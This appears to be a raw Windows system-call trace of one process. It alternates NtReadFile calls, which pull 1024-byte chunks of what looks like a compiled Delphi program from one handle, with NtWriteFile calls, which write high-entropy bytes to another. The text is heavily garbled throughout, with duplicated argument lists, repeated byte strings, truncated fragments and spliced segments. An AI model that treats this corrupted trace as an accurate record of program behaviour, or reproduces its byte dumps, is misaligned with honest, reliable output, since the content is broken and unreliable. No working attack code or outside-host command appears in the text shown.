\371(^3\330\273\227RA\315\372P\270R\361\215\3003A7\271\00\270\245C!\211Z\247R\260\304\273d\7A-\270S\373\13\360\4\262v\356M\342\310\234\7\22'\33\300\13\270\307\204\273E\371\2\331\24\336\3\251\326\16\315\237\241\323\253\317\347\353\301\271\251\277\245\343(X\2263\42C\36\250J\25@V\15\370\333\367)0\253P\220\32\232\23\341\5UQ\236\1\20\253`\303:e\314\11O\364\236\0\32\302\230\261\243\25\341\314\2718V\3774t\3\225\231\323\241\346\32O&wL\0\242'B\245\30\327(s\326~\371m%\223\334\250\200\266\7\6cD@\217\307\302\330u`\371/o:\351O(wr\320\\2054c\370\30\361\314h\225\325\30d\3\234\343.\4*\372\2018\347\230\221]\250]\310\24Ay\11:\346\216\247\370\324\266O\224\205\363\224\206\17\327\3412\7\25\27\340z\255dI\234\346\216\273ph\222\246\75\222\253\321\376\267\272@\325]68\274/\362\252D9\214'h\2052\246", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01044  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\7\350B\7\377\377\213\310\213\325\213\306\350\243\0\0\0\200<$\1t\6\200<$\2u\27\213\7\350$\7\377\377\3503;\377\377\213\320\213\307\350B\11\377\377\353\20\213\305\350y\372\377\377\353\7\213\307\350@\2\377\377Z]_^[\303\213\300U\213\354\203\304\364SVW\211M\374\213\372\213\330\17\266E\10\350\217\372\377\377\213\360\213E\14P\213E\374PVj\0\213\307\350\317\6\377\377P\213C\4P\350e\36\377\377\205\300t$\211}\364\306E\370\13\215E\364Pj\0\213\15\314\257\1@\262\1\241\354?\1@\350\202j\377\377\3509\374\376\377_^[\213\345]\302\10\0U\213\354\203\304\364SVW\213\371\213\362\213\3303\300\211E\374\215E\14PW\215E\374Pj\0\213\306\350n\6\377\377P\213C\4P\350\374\35\377\377\205\300t$\211u\364\306E\370\13\215E\364Pj\0\213\15\324\260\1@\262\1\241\354?\1@\350!j\377\377\350\330\373\376\377\213]\14\213E\374\350\15\372\377\377\213U\10\210\2\213\303_^[\213\345]\302\10\0\220\377\377\377\377\1\0\0\00\0\0\0\377\377\377\377\1\0\0\01\0\0\0U\213\3543\300Uh|G\1@d\3770d\211 \377\5\0\363\1@u\25\270\240\252\1@\271\2\0\0\0\213\25\0\20\0@\350\246\13\377\3773\300ZYYd\211\20h\203G\1@\303\351\203\372\376\377\353\370]\303\215@\0\214G\1@\1\6TColor\4\0\0\0\200\377\377\377\177\215@\0\244G\1@\1\14TFontCharset\1\0\0\0\0\377\0\0\0\220\10H\1@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10H\1@\20H\1@$\0\0\0\34\20\0@\364>\0@\0?\0@\4?\0@", ) , ) == 0x0
 01045  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\243\22e\1\215\204\342 \245\377H+D%\216\5\245\342\302\232\342\241w\273\220\25\376\251\3357\32u\300\376\371K[Z\300F\266\234\360\371{\372\13\255}\367\336\217\266H1lw\222\367\363\317\244@\351^_\330\357#e\32\3000c1\15\235KU\227\332\210\344\275\|F\372V\321\6V\311^\352gSs\14\306\312c\200\255T\37\306>\273;hU/\243-\35=\214\216\222\257\363c\362Q\255\361\5!\300\330n\252\336Q\263\321o\216\354\264l\340 J\323\214z\334@E\333\377\307\273\31%j\241\335\246\371N]\252n>\356\334\0\301\363\244\313\230\24\304V\354l\215j-\2034}\272 \230\274\366\220\375\235\252\341%\300\302\2\1\4\254\352V\323j\265#\345\31 \252y\313MM\272|\35\3133\247\11"w)\177\304\2318UK\240\2273\207\230t\354\243\225\330\315\274\325\334\16&U\353\226'm\257C\315\251@N\346\27\265L\30\33\361\321g\366\212\330z\306\361\11b\4rz&\243\276p_\272\361S\211\30\12@0=g5\274\352\204\325=\177\304\231C\2667\274;\325bC\5\337\232\245\333\37\376\345\17\355K\16I;\265,\32\20\330\4\351\300rF\311~\374\307\333VjJ-Ie\342\325\23x\206\24+\351nY\23\236\317\313\345\17*\244\371}\316\247\26\355\373\251\10U\1\34\315:q\301
"\260\332A\7\320\205\271\332\305/\302%\270\320\303/I\11\376\372j\317Ef\225>b\7\202-N\15\35\352_\370\3434", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) w)\177\304\2318UK\240\2273\207\230t\354\243\225\330\315\274\325\334\16&U\353\226'm\257C\315\251@N\346\27\265L\30\33\361\321g\366\212\330z\306\361\11b\4rz&\243\276p_\272\361S\211\30\12@0=g5\274\352\204\325=\177\304\231C\2667\274;\325bC\5\337\232\245\333\37\376\345\17\355K\16I;\265,\32\20\330\4\351\300rF\311~\374\307\333VjJ-Ie\342\325\23x\206\24+\351nY\23\236\317\313\345\17*\244\371}\316\247\26\355\373\251\10U\1\34\315:q\301
243`/X\362\246|\275\35\371\214w\20Tv1gF\262\255\317\4\300\210JF\5/\230\211\375D!:\201w\\332\\340\227;|\222\13G\372\225:\266\354\204\212\332-\366\217\221<$%\10\25\360\330\201H\200\320\3366a\26Q\17 (92, 0, 0, 0, "\243\22e\1\215\204\342 \245\377H+D%\216\5\245\342\302\232\342\241w\273\220\25\376\251\3357\32u\300\376\371K[Z\300F\266\234\360\371{\372\13\255}\367\336\217\266H1lw\222\367\363\317\244@\351^_\330\357#e\32\3000c1\15\235KU\227\332\210\344\275\|F\372V\321\6V\311^\352gSs\14\306\312c\200\255T\37\306>\273;hU/\243-\35=\214\216\222\257\363c\362Q\255\361\5!\300\330n\252\336Q\263\321o\216\354\264l\340 J\323\214z\334@E\333\377\307\273\31%j\241\335\246\371N]\252n>\356\334\0\301\363\244\313\230\24\304V\354l\215j-\2034}\272 \230\274\366\220\375\235\252\341%\300\302\2\1\4\254\352V\323j\265#\345\31 \252y\313MM\272|\35\3133\247\11"w)\177\304\2318UK\240\2273\207\230t\354\243\225\330\315\274\325\334\16&U\353\226'm\257C\315\251@N\346\27\265L\30\33\361\321g\366\212\330z\306\361\11b\4rz&\243\276p_\272\361S\211\30\12@0=g5\274\352\204\325=\177\304\231C\2667\274;\325bC\5\337\232\245\333\37\376\345\17\355K\16I;\265,\32\20\330\4\351\300rF\311~\374\307\333VjJ-Ie\342\325\23x\206\24+\351nY\23\236\317\313\345\17*\244\371}\316\247\26\355\373\251\10U\1\34\315:q\301
"\260\332A\7\320\205\271\332\305/\302%\270\320\303/I\11\376\372j\317Ef\225>b\7\202-N\15\35\352_\370\3434", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01046  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\11\0\0\0clFuchsia\0\0\0\377\377\377\377\6\0\0\0clAqua\0\0\377\377\377\377\7\0\0\0clWhite\0\377\377\377\377\14\0\0\0clMoneyGreen\0\0\0\0\377\377\377\377\11\0\0\0clSkyBlue\0\0\0\377\377\377\377\7\0\0\0clCream\0\377\377\377\377\11\0\0\0clMedGray\0\0\0\377\377\377\377\16\0\0\0clActiveBorder\0\0\377\377\377\377\17\0\0\0clActiveCaption\0\377\377\377\377\16\0\0\0clAppWorkSpace\0\0\377\377\377\377\14\0\0\0clBackground\0\0\0\0\377\377\377\377\11\0\0\0clBtnFace\0\0\0\377\377\377\377\16\0\0\0clBtnHighlight\0\0\377\377\377\377\13\0\0\0clBtnShadow\0\377\377\377\377\11\0\0\0clBtnText\0\0\0\377\377\377\377\15\0\0\0clCaptionText\0\0\0\377\377\377\377\11\0\0\0clDefault\0\0\0\377\377\377\377\27\0\0\0clGradientActiveCaption\0\377\377\377\377\31\0\0\0clGradientInactiveCaption\0\0\0\377\377\377\377\12\0\0\0clGrayText\0\0\377\377\377\377\13\0\0\0clHighlight\0\377\377\377\377\17\0\0\0clHighlightText\0\377\377\377\377\12\0\0\0clHotLig", ) , ) == 0x0
 01047  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\226\331\337\214\261\346d\314\264\336\375\347\346RA\326\203\334\3748*\270\320O\201f,N\362\312\352\36q$\324\260\307\331Nu\343\25\376s\235\331\371\204&Le~\357\200ax8u\37\11P\240\314\235^\342\272\333\225\357\3761\301\305\373\1\23\353\207\10\202\2\36w\345P9\246\322\5s\233\323\303\336RS\341\207K\32\2\256\373\272'\316x\346E_\304M:\214\33\326\352\17u\300\234j\177Ny\325G\21\203jo?\204\250\325\336>\355^\273\37\360\15\3756\325\360\34|\20M\236\232\243\264y\352\243\326\347\303\344.\37\240\237\276\1\351s\30\214\333a\366\119\274\250\360\253Ml=\302c;t\370\267s\14\255\224\232`y\261\2\225U\2460\35C::d#\205\1e\206,\335x\362\343)\223rY;\2768W\215J\341\0\364\22\377\260M\337\373/\2667w0\3266o\372l\316\304G\23F\345\225\346\204{%K\363\267\\376\210\255v\3\324P\256\336\322\320\23sCv]<\270r\276`%\375\22\232d\263\313Ui\214\303*\203\201\11z\223\241X\2j\327\322x\2009\323\223\325F\301\10+\315\271s\0U\271k\301\342\346\307\270\251g\15\323\17\252\3323_Xc\241x;?}A\352\315\344\335:\327/\324\306\247l\310\333\24n^\103~F\227\23\15\211\2108x\12\15\37\314_\12\226a\1}\1\246\264\10\1\200\26\344\11\343\16w\245\242\337\3757\323/\356\224\5\312\33\2663e\260\226MM\363i\350\266u\303&,M\206Vq\214\177H\21[Q\374\335\253\245\227\350\177q]c\313\221\324H;z\200?\376T\256\5\262\22n\221\202\351\374\264-\306hg\23D\255G\316+-\15\20\2766\370\306\233\241\266\251\206\232S\203\26\247\177G\275\256\223\235N\330\6", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01048  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\377\377\377\377\17\0\0\0HANGEUL_CHARSET\0\377\377\377\377\15\0\0\0JOHAB_CHARSET\0\0\0\377\377\377\377\16\0\0\0GB2312_CHARSET\0\0\377\377\377\377\23\0\0\0CHINESEBIG5_CHARSET\0\377\377\377\377\15\0\0\0GREEK_CHARSET\0\0\0\377\377\377\377\17\0\0\0TURKISH_CHARSET\0\377\377\377\377\16\0\0\0HEBREW_CHARSET\0\0\377\377\377\377\16\0\0\0ARABIC_CHARSET\0\0\377\377\377\377\16\0\0\0BALTIC_CHARSET\0\0\377\377\377\377\17\0\0\0RUSSIAN_CHARSET\0\377\377\377\377\14\0\0\0THAI_CHARSET\0\0\0\0\377\377\377\377\22\0\0\0EASTEUROPE_CHARSET\0\0\377\377\377\377\13\0\0\0OEM_CHARSET\0j\21\271x\254\1@\350\14\347\377\377\303\215@\0j\21\271x\254\1@\350\274\346\377\377\303\215@\0S\213\330\17\266C\16:\5\266\252\1@u\23\270\267\252\1@\215S\17\17\266\10A\350\220\345\376\377t\43\300[\303\260\1[\303\213\300U\213\354\203\304\260SVW3\322\211U\260\211U\264\211U\270\211U\274\213\3303\300Uh\250Q\1@d\3770d\211 \213C\20\211E\374\213E\374\203x\10\0\17\205\301\1\0\0\241P\363\1@\350 \371\377\3773\322Uh\200Q\1@d\3772d\211"\213E\374\203x\10\0\17\205}\1\0\0\213E\374\213@\24\211E\300", ) \213E\374\203x\10\0\17\205}\1\0\0\213E\374\213@\24\211E\300", ) == 0x0
 01049  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, ":B\236]\32\327%\245\321\363\207"\323\306\2`6\321\24\322|\2777\222\271\212<\256\311M\335\365\235\17\346H\337\36\125\250x\304\342\256\360 \370f\345I\262\240\366\340N\360s\3152\5T>g\356>\245\352JF\260\322:Je\302I\11\277\376/q\233\220\377v\346\251\7\204\23\13\14\22$nH\4Z^\33\354\270\312\6\23f\236=\324_\233\203\300\274\320\340\216\320\213\1\204\316\31x\304.X7\305W\334\255\367-\324p\312\321\257\201\25\25\225\260\324\232\230\335\|8$\355t^\3\271\213\13\377\331\217\374}\264\26\303\215Q\276`\376=\33\17\364\354\210aN\4\30\243\223\231\277\226[&\242\252p\214\315\361b\341L\231\245\312\376Q\353\210}\266\243fN\17(\235\222\27\2258y\214S\361\264g\253Cl\254\257bb\301\234\3719Z\235\21V\212J\322\332\225m\272Pi\265\360\272.\365\32{\3743\230v,\320=\246\217n\264\300\323 \336\230\15#\245\364\341\52~\262&\356\221\246\215\202\333\206\347\202\326\347z\1\214\215\332\351\16PS\2438\235&\13\1\340\25b*(\7Jlg\242p\246\200,\362E2\273\302\360\225\2\220n\223\22#\305u^\367\234>\321\310E7\4\213LH\211\274\351G\240\254\325\333\253\214ahy\266E\322F\206\17\354\271\3536\313\330\341& \1\323\257\325S\307\350\374.\22\222\327Uh\272~\22\377\331\11P\376\361\216\17\260\317{\213"\361G9\374D1a\211\242\256\20\12\374\35\222u\315\21\213<()m\205\245O\272D\263PV\200\11l/\364\27\307\366L\200P$y\331\216Ae\315\371Q\237\26\202\303ms"A\274\305$z\277\243\327g)&-\30%W)#\201\356`\270\323cUC\32\341\364J{Y\226fQ\374\376", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \323\306\2`6\321\24\322|\2777\222\271\212<\256\311M\335\365\235\17\346H\337\36\125\250x\304\342\256\360 \370f\345I\262\240\366\340N\360s\3152\5T>g\356>\245\352JF\260\322:Je\302I\11\277\376/q\233\220\377v\346\251\7\204\23\13\14\22$nH\4Z^\33\354\270\312\6\23f\236=\324_\233\203\300\274\320\340\216\320\213\1\204\316\31x\304.X7\305W\334\255\367-\324p\312\321\257\201\25\25\225\260\324\232\230\335\|8$\355t^\3\271\213\13\377\331\217\374}\264\26\303\215Q\276`\376=\33\17\364\354\210aN\4\30\243\223\231\277\226[&\242\252p\214\315\361b\341L\231\245\312\376Q\353\210}\266\243fN\17(\235\222\27\2258y\214S\361\264g\253Cl\254\257bb\301\234\3719Z\235\21V\212J\322\332\225m\272Pi\265\360\272.\365\32{\3743\230v,\320=\246\217n\264\300\323 \336\230\15#\245\364\341\52~\262&\356\221\246\215\202\333\206\347\202\326\347z\1\214\215\332\351\16PS\2438\235&\13\1\340\25b*(\7Jlg\242p\246\200,\362E2\273\302\360\225\2\220n\223\22#\305u^\367\234>\321\310E7\4\213LH\211\274\351G\240\254\325\333\253\214ahy\266E\322F\206\17\354\271\3536\313\330\341& \1\323\257\325S\307\350\374.\22\222\327Uh\272~\22\377\331\11P\376\361\216\17\260\317{\213 (92, 0, 0, 0, ":B\236]\32\327%\245\321\363\207"\323\306\2`6\321\24\322|\2777\222\271\212<\256\311M\335\365\235\17\346H\337\36\125\250x\304\342\256\360 \370f\345I\262\240\366\340N\360s\3152\5T>g\356>\245\352JF\260\322:Je\302I\11\277\376/q\233\220\377v\346\251\7\204\23\13\14\22$nH\4Z^\33\354\270\312\6\23f\236=\324_\233\203\300\274\320\340\216\320\213\1\204\316\31x\304.X7\305W\334\255\367-\324p\312\321\257\201\25\25\225\260\324\232\230\335\|8$\355t^\3\271\213\13\377\331\217\374}\264\26\303\215Q\276`\376=\33\17\364\354\210aN\4\30\243\223\231\277\226[&\242\252p\214\315\361b\341L\231\245\312\376Q\353\210}\266\243fN\17(\235\222\27\2258y\214S\361\264g\253Cl\254\257bb\301\234\3719Z\235\21V\212J\322\332\225m\272Pi\265\360\272.\365\32{\3743\230v,\320=\246\217n\264\300\323 \336\230\15#\245\364\341\52~\262&\356\221\246\215\202\333\206\347\202\326\347z\1\214\215\332\351\16PS\2438\235&\13\1\340\25b*(\7Jlg\242p\246\200,\362E2\273\302\360\225\2\220n\223\22#\305u^\367\234>\321\310E7\4\213LH\211\274\351G\240\254\325\333\253\214ahy\266E\322F\206\17\354\271\3536\313\330\341& \1\323\257\325S\307\350\374.\22\222\327Uh\272~\22\377\331\11P\376\361\216\17\260\317{\213"\361G9\374D1a\211\242\256\20\12\374\35\222u\315\21\213<()m\205\245O\272D\263PV\200\11l/\364\27\307\366L\200P$y\331\216Ae\315\371Q\237\26\202\303ms"A\274\305$z\277\243\327g)&-\30%W)#\201\356`\270\323cUC\32\341\364J{Y\226fQ\374\376", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) A\274\305$z\277\243\327g)&-\30%W)#\201\356`\270\323cUC\32\341\364J{Y\226fQ\374\376", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01050  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\203x\10\0u8\213E\374\17\266@\34\17\267\4E\10\255\1@\211E\354\213E\374\213@\30\211E\360\213E\374\213@\24\3500\373\377\377\211E\370\215E\354P\350P\24\377\377\213U\374\211B\103\300ZYYd\211\20h]R\1@\241T\363\1@\350\247\366\377\377\303\351\251\357\376\377\353\356\213E\374\213@\10\213\345]\303\220\213@\20\213@\24\303\220U\213\354\203\304\360\213@\20\211E\374\213E\374\203x\10\0\17\205\274\0\0\0\241X\363\1@\350]\366\377\3773\322Uh>S\1@d\3772d\211"\213E\374\203x\10\0u|\213E\374\213@\30\205\300t\36\307E\360\3\0\0\0\262\1\213\10\377Qp\213E\374\213@\30\213\20\377Rh\211E\370\35373\300\211E\370\213E\374\17\266@\34\213\320\200\352\1r\4t\11\353\203\300\211E\360\353\31\307E\360\1\0\0\0\353\20\307E\360\2\0\0\0\203\340\177\203\350\2\211E\370\213E\374\213@\24\350H\372\377\377\211E\364\215E\360P\350P\23\377\377\213U\374\211B\103\300ZYYd\211\20hES\1@\241X\363\1@\350\277\365\377\377\303\351\301\356\376\377\353\356\213E\374\213@\10\213\345]\303\220\213@\20\17\266@\34\303S\213\330h8\363\1@\350\273\21\377\377\377CPh8\363\1@\350v\22\377\377\215C8P\350\245\21\377\377[\303\215@\0SVW\213\371\213\362\213\330\17\266\25\250S\1@\213\303\350\225\1\0\0j\0WV\213C\4P\350$\23\377\377_^[\303\1\0\0\0U\213\354QS\213\330h8\363\1@\350c\21\377\3773\300Uh\370S\1@d\3770d\211 \203{P\0\17\224E\377\200}\377\0t\7\213\303\350x\377\377\3773\300ZYYd\211\20h\377S\1@h8\363\1@\350\361", ) \213E\374\203x\10\0u|\213E\374\213@\30\205\300t\36\307E\360\3\0\0\0\262\1\213\10\377Qp\213E\374\213@\30\213\20\377Rh\211E\370\35373\300\211E\370\213E\374\17\266@\34\213\320\200\352\1r\4t\11\353\203\300\211E\360\353\31\307E\360\1\0\0\0\353\20\307E\360\2\0\0\0\203\340\177\203\350\2\211E\370\213E\374\213@\24\350H\372\377\377\211E\364\215E\360P\350P\23\377\377\213U\374\211B\103\300ZYYd\211\20hES\1@\241X\363\1@\350\277\365\377\377\303\351\301\356\376\377\353\356\213E\374\213@\10\213\345]\303\220\213@\20\17\266@\34\303S\213\330h8\363\1@\350\273\21\377\377\377CPh8\363\1@\350v\22\377\377\215C8P\350\245\21\377\377[\303\215@\0SVW\213\371\213\362\213\330\17\266\25\250S\1@\213\303\350\225\1\0\0j\0WV\213C\4P\350$\23\377\377_^[\303\1\0\0\0U\213\354QS\213\330h8\363\1@\350c\21\377\3773\300Uh\370S\1@d\3770d\211 \203{P\0\17\224E\377\200}\377\0t\7\213\303\350x\377\377\3773\300ZYYd\211\20h\377S\1@h8\363\1@\350\361", ) == 0x0
 01051  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\260!\220\354/g\270,.wr>\4\363\241\256\302rh\247Z\327.Y{\310\265\340\264\203\332:=\25\32\20\17\212S]\310'\20\341\376\230\355\365\241\247\371\354\323\2613\363\245\364\335\322\356\217j\377\265\257D\212\371\240\233\214\361\34^qd\363\362\207\317\210r\331%h\251\225`\1\21\324\277\356.\211\33^$\336M\31\375\253\330\243\334\277\14\16M\351\215L\277\231f\302q\200\350\203\233\253c\213\275K\236.\243td\346\310k.\351\242\246\240\241o\5\372\213}\335\15\233\313w\376k\351(\361\346\355;\343\2205\335<\15\343\234\244\204\375\250\275\25hX\377>\203<\370\2\271H\7\371\222wR\347e\357\200\212?\13\14C\373\1g\246\340r\276\266\15a\227\273}\247\245\327m\323\243VIv]um\26\20k\340\360;\25G\367\275o\216\372\25\345\344U\326\253|\300\345Z\376c\26"d\320\306\346\333v6\343\362\233\4\204\374\31\204\222\6=#\237\321\361\342\3;9Q\346\2707\206\303\321\10M\263t+\336\371\2J\356`|\346\257*[320\306\346\333v6\343\362\233\4\204\374\31\204\222\6=#\237\321\361\342\3;9Q\346\2707\206\303\321\10M\263t+\336\371\2J\356`|\346\257*[177\365\35\353\21\364\322\3033\177Bk\2258<\11\203E\257\215~\232V\242r\213\214g\372N@e\326 \200\264\245\4Qo.i\245s_\327t\314\234w\270\22\303\252\252\220z\255\325\377\321p[R\233|Y\337u\355~E\220[\376,\322\260\311\14\252\376\373z\35y\366\363\317{\2Y\341\336\315]\3239WN\310\337\231~ok\371\224\362\223\221\230*F\244~Qy\301\321\325\247\4\1t\221T;\27\321\244\321\315\244Q\220\241e\334\236\336\363[\37\22u\244\375\254\261e+\211\7ld064\260\35E=qL\374!\330\347lz\177\223\324\265\231\305\344\5\334\250\246\277\371\7\224D\203_\332\207\256\342)\213\253Q", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01052  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "S\213\330\213C\24\350e\374\377\377P\350\357\20\377\377\213C\24\350W\374\377\377P\213C\4P\350\255\20\377\377\213C\24\350%\375\377\377\204\300u$\213C\24\3501\374\377\377\350 \367\377\377P\213C\4P\350\232\20\377\377j\2\213C\4P\350\227\20\377\377[\303\213C\24\350\15\374\377\377\350\374\366\377\377\367\320P\213C\4P\350t\20\377\377j\1\213C\4P\350q\20\377\377[\303\215@\0U\213\354\201\304\370\373\377\377Sf\307\205\370\373\377\377\0\3f\307\205\372\373\377\377\20\0\215\225\374\373\377\377\271@\0\0\0\350T\327\376\377j\0\350i\20\377\377\211E\3743\300UhyW\1@d\3770d\211 jh\213E\374P\350\335\17\377\377\213\330\203\373\20\17\214\212\0\0\0\215\205\374\373\377\377Pj\10j\0\213E\374P\350\316\17\377\377\201\275\30\374\377\377\300\300\300\0uL\215\205\30\374\377\377Pj\1\213\303\203\350\10P\213E\374P\350\252\17\377\377\17\267\205\372\373\377\377\215\204\205\340\373\377\377Pj\7\203\353\7S\213E\374P\350\214\17\377\377\215\205\34\374\377\377Pj\1j\7\213E\374P\350x\17\377\377\353\36\17\267\205\372\373\377\377\215\204\205\334\373\377\377Pj\10\203\353\10S\213E\374P\350X\17\377\3773\300ZYYd\211\20h\200W\1@\213E\374Pj\0\350\320\17\377\377\303\351\206\352\376\377\353\355\215\205\370\373\377\377P\350\364\16\377\377[\213\345]\303\215@\0U\213\354\203\304\364\241D\255\1@\350\0\343\377\377\211E\3703\300Uh2X\1@d\3770d\211 \213E\370\213@\10H\203\370\0|Y\211E\374\213U\374\213E\370\350-\340\377\377\211E\364\213E\364\350\322\373\377\377\204\300t33\300Uh\12X\1@d\3770d\211 \213E\364\350L\0\0\0", ) , ) == 0x0
 01053  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "*e\257F_wY\4\345\3\321\255\342\300\225\270tV\241\14A\334\267\251\3531]\371\364\224\223\23|\22>w\202 A\31\336M>\266#\310\270T)\220\267\23\302v"6\2007Ls\23\344\261O\261\273\376\376\3_\242s\245\264)\255\303\332`Zz\302\273[n\250\24Za}O\215\373w\307e\371,\346IN\177\6\366\326{\222P\350VR\206\316-E\356\376 \344T\12:\220\1\13\2402J\373\312?\15\201\261\232\274\320fk\11\12\0\211\220\220V^ \376\344\350zl\227\233\10\231\226\27\360\340\336\222d\11~\202\331$\33\276T\346(\360\367\301\304\300{\310Y\321\354-\331\11\266\230\216\321\22\14\303\207)\235]\4\245\213\216\277L\206J\275\216\320]7\305\375\347\262\365\304\226\353.\260`C\3740\242\302\36\215\4\312\207\305\241\326\267\271\312\214'\306\237\321\2315\213\264\302\277\341t\303\242pX\357\323\233\347\252\271F\316\321\33\262>\214\245\362,\332q\14\214*B\267@\303,\300*2\262\7\16\266`\201\353\226\14\371\354[\327\312\204\247\214\261\36\30\30R\320v\326y\327'vNM\11\2679>"\213\313m\2018\313\330\251z\217\301 X\343\224\267nA\334\300\350\210\10\232\2 l\226\226Ca\270\353d\33f\356\33\307\33\231\30\254Jx\22\234\215\375r[&\241\310W\310\201\360\226U\26\271\213\341\215\267\12[I\356\252\244\301\273\233\3764\34YdS\27\16\36\261\326\257a\256\32\36gGND\370k\13\254\10|\230\327\22\202\315A\377\243\332\34H\370\231\232Kn\247\370\344._%\267\336s\262\30\365\365c~\m\370hX\274E\245e\4\207gT\206\374\324\230\264Feq\277 \11Q\200\320\323j\367F\266P\275S\322$\275]\347\32\243x\214\337\11", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 6\2007Ls\23\344\261O\261\273\376\376\3_\242s\245\264)\255\303\332`Zz\302\273[n\250\24Za}O\215\373w\307e\371,\346IN\177\6\366\326{\222P\350VR\206\316-E\356\376 \344T\12:\220\1\13\2402J\373\312?\15\201\261\232\274\320fk\11\12\0\211\220\220V^ \376\344\350zl\227\233\10\231\226\27\360\340\336\222d\11~\202\331$\33\276T\346(\360\367\301\304\300{\310Y\321\354-\331\11\266\230\216\321\22\14\303\207)\235]\4\245\213\216\277L\206J\275\216\320]7\305\375\347\262\365\304\226\353.\260`C\3740\242\302\36\215\4\312\207\305\241\326\267\271\312\214'\306\237\321\2315\213\264\302\277\341t\303\242pX\357\323\233\347\252\271F\316\321\33\262>\214\245\362,\332q\14\214*B\267@\303,\300*2\262\7\16\266`\201\353\226\14\371\354[\327\312\204\247\214\261\36\30\30R\320v\326y\327'vNM\11\2679> (92, 0, 0, 0, "*e\257F_wY\4\345\3\321\255\342\300\225\270tV\241\14A\334\267\251\3531]\371\364\224\223\23|\22>w\202 A\31\336M>\266#\310\270T)\220\267\23\302v"6\2007Ls\23\344\261O\261\273\376\376\3_\242s\245\264)\255\303\332`Zz\302\273[n\250\24Za}O\215\373w\307e\371,\346IN\177\6\366\326{\222P\350VR\206\316-E\356\376 \344T\12:\220\1\13\2402J\373\312?\15\201\261\232\274\320fk\11\12\0\211\220\220V^ \376\344\350zl\227\233\10\231\226\27\360\340\336\222d\11~\202\331$\33\276T\346(\360\367\301\304\300{\310Y\321\354-\331\11\266\230\216\321\22\14\303\207)\235]\4\245\213\216\277L\206J\275\216\320]7\305\375\347\262\365\304\226\353.\260`C\3740\242\302\36\215\4\312\207\305\241\326\267\271\312\214'\306\237\321\2315\213\264\302\277\341t\303\242pX\357\323\233\347\252\271F\316\321\33\262>\214\245\362,\332q\14\214*B\267@\303,\300*2\262\7\16\266`\201\353\226\14\371\354[\327\312\204\247\214\261\36\30\30R\320v\326y\327'vNM\11\2679>"\213\313m\2018\313\330\251z\217\301 X\343\224\267nA\334\300\350\210\10\232\2 l\226\226Ca\270\353d\33f\356\33\307\33\231\30\254Jx\22\234\215\375r[&\241\310W\310\201\360\226U\26\271\213\341\215\267\12[I\356\252\244\301\273\233\3764\34YdS\27\16\36\261\326\257a\256\32\36gGND\370k\13\254\10|\230\327\22\202\315A\377\243\332\34H\370\231\232Kn\247\370\344._%\267\336s\262\30\365\365c~\m\370hX\274E\245e\4\207gT\206\374\324\230\264Feq\277 \11Q\200\320\323j\367F\266P\275S\322$\275]\347\32\243x\214\337\11", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01054  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\3773\300ZYYd\211\20h\36Z\1@\213E\370\350\322\342\376\377\303\351\350\347\376\377\353\360\203}\374\0t%\215\205\370\376\377\377\213U\374\271\377\0\0\0\350\351\360\376\377\215\225\370\376\377\377\270\267\252\1@\261\37\350\253\332\376\3773\300ZYYd\211\20hfZ\1@\215E\374\350&\356\376\377\303\351\240\347\376\377\353\360\213\345]\303\0\0\377\377\377\377\6\0\0\0Tahoma\0\0\377\377\377\377<\0\0\0SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes\0\0\0\0\377\377\377\377\16\0\0\0MS Shell Dlg 2\0\0([\1@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0([\1@ \0\0\0\34\20\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@p[\1@\17TPatternManagerSV\204\322t\10\203\304\360\350\352\343\376\377\213\332\213\360\215F\10P\350\215\12\377\377\213\306\204\333t\17\350*\344\376\377d\217\5\0\0\0\0\203\304\14\213\306^[\303\215@\0SV\350a\344\376\377\213\332\213\360\213\306\3502\0\0\0\215F\10P\350\215\11\377\377\204\333~\7\213\306\350\352\343\376\377^[\303\215@\0\203\300\10P\350{\11\377\377\303\213\300\203\300\10P\3507\12\377\377\303\213\300U\213\354\203\304\364SV\211E\374\353`\211]\370\213E\370\211E\364\213E\374\350\312\377\377\3773\300Uh\1\\1@d\3770d\211 \213E\364\213\0\213U\374\211B\43\300ZYYd\211\20h", ) , ) == 0x0
